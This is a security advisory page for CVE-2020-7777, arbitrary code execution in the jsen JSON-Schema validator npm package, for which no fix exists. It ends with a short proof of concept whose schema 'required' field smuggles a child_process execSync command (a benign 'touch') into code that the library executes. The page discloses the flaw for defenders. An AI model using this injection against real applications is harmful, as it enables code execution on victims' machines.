Arbitrary Code Execution Affecting jsen Open this link in a new tab package, versions *
Exploit Maturity
Proof of concept
Attack Complexity
Low
Privileges Required
High
Confidentiality
High
Integrity
High
Availability
High
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications-
snyk-id
SNYK-JS-JSEN-1014670
-
published
23 Nov 2020
-
disclosed
1 Oct 2020
-
credit
Alessio Della Libera (d3lla)
Introduced: 1 Oct 2020
CVE-2020-7777 Open this link in a new tabHow to fix?
There is no fixed version for jsen
.
Overview
jsen is a JSON-Schema validator built for speed
Affected versions of this package are vulnerable to Arbitrary Code Execution. If an attacker can control the schema file, it could run arbitrary JavaScript code on the victim machine. In the module description and README file there is no mention about the risks of untrusted schema files, so I assume that this is applicable.
In particular the required
field of the schema is not properly sanitized.
The resulting string that is build based on the schema definition is then passed to a Function.apply();
, leading to an Arbitrary Code Execution.
PoC
const jsen = require('jsen');
let schema = JSON.parse( { "type": "object", "properties": { "username": { "type": "string" } }, "required": ["\\"+process.mainModule.require(\'child_process\').execSync(\'touch malicious\')+\\""] }
);
const validate = jsen(schema);
validate({});